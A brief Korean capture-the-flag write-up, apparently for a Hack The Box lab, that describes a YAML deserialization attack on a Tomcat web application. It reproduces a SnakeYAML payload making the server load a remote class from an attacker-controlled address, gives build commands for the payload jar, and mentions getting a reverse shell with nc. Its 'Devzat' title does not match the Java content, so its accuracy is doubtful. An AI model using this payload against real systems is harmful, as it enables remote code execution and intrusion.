HTB-Devzat Write up
golang, git-dumper
8080 톰캣 포트로 접속 시 jsp로 작성된 웹 페이지 접속 가능
YAML은 XML, C, 파이썬, 펄, RFC2822에서 정의된 e-mail 양식에서 개념을 얻어 만들어진 '사람이 쉽게 읽을 수 있는' 데이터 직렬화 양식이다. 2001년에 클라크 에반스가 고안했고, Ingy dot Net 및 Oren Ben-Kiki와 함께 디자인했다.
YAML이라는 이름은 "YAML은 마크업 언어가 아니다 (YAML Ain't Markup Language)” 라는 재귀적인 이름에서 유래되었다. 원래 YAML의 뜻은 “또 다른 마크업 언어 (Yet Another Markup Language)”였으나, YAML의 핵심은 문서 마크업이 아닌 데이터 중심에 있다는 것을 보여주기 위해 이름을 바꾸었다. 오늘날 XML과 JSON이 데이터 직렬화에 주로 쓰이기 시작하면서, 많은 사람들이 YAML을 '가벼운 마크업 언어'로 사용하려 하고 있다.
- 출처 : YAML wiki
yaml poc payload 코드 :
https://github.com/artsploit/yaml-payload
Kali 에서 Javac 설치는 아래의 명령어로 가능
apt-get install openjdk-11-jdk-headless
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.3:7001"]
]]
]
yaml 코드가 작동하는것을 확인하였으므로 github의 poc코드 대로 AwesomeScriptEngineFactory.java 수정
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
그러나 해당 명령어로는 쉘이 작동하지 않음
다른 리버스쉘 코드로 재 시도
nc의 코드로 리버스쉘 획득